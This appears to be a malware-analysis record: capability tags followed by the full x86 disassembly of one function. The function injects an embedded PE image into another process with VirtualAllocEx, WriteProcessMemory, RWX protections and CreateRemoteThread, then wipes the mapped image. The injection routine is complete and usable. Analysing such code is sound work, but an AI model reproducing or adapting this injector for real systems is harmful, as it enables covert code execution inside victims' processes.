Function at 0x40e7f0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x5a4d
mov esi, ecx
push edi
mov dword [ebp - 8], esi
cmp word [0x4d9688], ax
jne 0x40eca2
mov eax, dword [0x4d96c4]
lea edi, [eax + 0x4d9688]
mov eax, 0x14c
mov dword [ebp - 0x54], edi
cmp word [edi + 4], ax
jne 0x40eca2
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
push dword [edi + 0x50]
push 0
push esi
call ebx
mov dword [ebp - 0x50], eax
test eax, eax
je 0x40eca2
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push ecx
push 0x40
push dword [edi + 0x50]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x1000
mov dword [ebp - 0x30], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4d9688
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x50]
push eax
push esi
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40ec91
movzx esi, word [edi + 0x14]
mov eax, dword [ebp - 0x54]
add esi, edi
xor edi, edi
cmp word [eax + 6], di
je 0x40e90a
add esi, 0x2c
mov eax, dword [esi - 4]
test eax, eax
je 0x40e8fb
push 0
push eax
mov eax, dword [esi]
add eax, 0x4d9688
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x50]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40ec8e
mov eax, dword [ebp - 0x54]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x40e8d1
mov esi, dword [ebp - 8]
push 4
push 0x3000
push 0x1c
push 0
push esi
call ebx
mov edi, eax
mov dword [ebp - 0x58], edi
test edi, edi
je 0x40ec91
push 0
push 0x1c
lea eax, [ebp - 0x30]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40ec6e
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call ebx
mov ebx, eax
mov dword [ebp - 0x5c], ebx
test ebx, ebx
je 0x40ec6e
push 0
push 0x1000
push 0x40ecc0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40ec4e
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x40ec4e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push esi
call edi
cmp dword [ebp - 0xc], 0x103
jne 0x40eca2
push 0
push 0x1c
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x34], 0
push eax
push dword [ebp - 0x58]
xorps xmm0, xmm0
push esi
movups xmmword [ebp - 0x4c], xmm0
movq qword [ebp - 0x3c], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp - 0x40]
cmp esi, 0x404040
je 0x40ec0a
push 0xa
call ebx
test esi, esi
mov esi, dword [ebp - 8]
je 0x40e9b0
push 0x1400000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x40eca2
push 0x1400000
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x1000
push ebx
push dword [ebp - 0x50]
mov ebx, esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, dword [ebp - 0x54]
xor edx, edx
mov dword [ebp - 8], edx
movzx eax, word [edi + 0x14]
lea esi, [edi + 0x18]
add esi, eax
movzx eax, word [edi + 6]
mov ecx, eax
test ax, ax
je 0x40eb38
nop dword [eax]
cmp dword [esi + 8], 0
je 0x40eb23
mov ecx, str..pdata
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40eaa1
test dl, dl
je 0x40ea9d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40eaa1
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ea81
xor eax, eax
jmp 0x40eaa6
sbb eax, eax
or eax, 1
test eax, eax
je 0x40eb0a
mov ecx, 0x4ae9a0
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ead1
test dl, dl
je 0x40eacd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ead1
add eax, 2
add ecx, 2
test dl, dl
jne 0x40eab1
xor eax, eax
jmp 0x40ead6
sbb eax, eax
or eax, 1
test eax, eax
je 0x40eb0a
mov ecx, str..reloc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40eb01
test dl, dl
je 0x40eafd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40eb01
add eax, 2
add ecx, 2
test dl, dl
jne 0x40eae1
xor eax, eax
jmp 0x40eb06
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40eb20
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x50]
push 0
push dword [esi + 8]
push dword [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 8]
movzx eax, word [edi + 6]
inc edx
add esi, 0x28
mov dword [ebp - 8], edx
mov ecx, eax
cmp edx, eax
jne 0x40ea70
movzx esi, word [edi + 0x14]
add esi, edi
xor edi, edi
test cx, cx
mov ecx, dword [ebp - 0x54]
je 0x40eba5
add esi, 0x3c
nop dword [eax + eax]
mov edx, dword [esi - 0x1c]
test edx, edx
je 0x40eb99
mov ecx, dword [esi]
mov eax, 2
mov dword [ebp - 8], 0
test ecx, 0x80000000
jbe 0x40eb74
mov eax, 4
jmp 0x40eb82
test ecx, 0x20000000
mov ecx, 0x20
cmova eax, ecx
lea ecx, [ebp - 8]
push ecx
push eax
mov eax, dword [esi - 0x18]
add eax, dword [ebp - 0x50]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [ebp - 0x54]
movzx eax, word [ecx + 6]
inc edi
add esi, 0x28
cmp edi, eax
jne 0x40eb50
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
movzx eax, word [ecx + 0x14]
push 2
push dword [eax + ecx + 0x24]
push dword [ebp - 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edi, dword [ebp - 0x5c]
push 0
push 0x1000
push dword [ebp - 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push edi
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0x58]
push ebx
call esi
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x50]
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0x58]
push ebx
call esi
mov edi, dword [ebp - 0x5c]
push 0x8000
push 0
push edi
push ebx
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push dword [ebp - 0x50]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
mov ebx, dword [ebp - 8]
push 0x8000
push 0
push edi
jmp 0x40ec2a
push 0x8000
push 0
push dword [ebp - 0x50]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push edi
push dword [ebp - 8]
jmp 0x40ec39
mov esi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x50]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044317d
mov esp, ebp
pop ebp
ret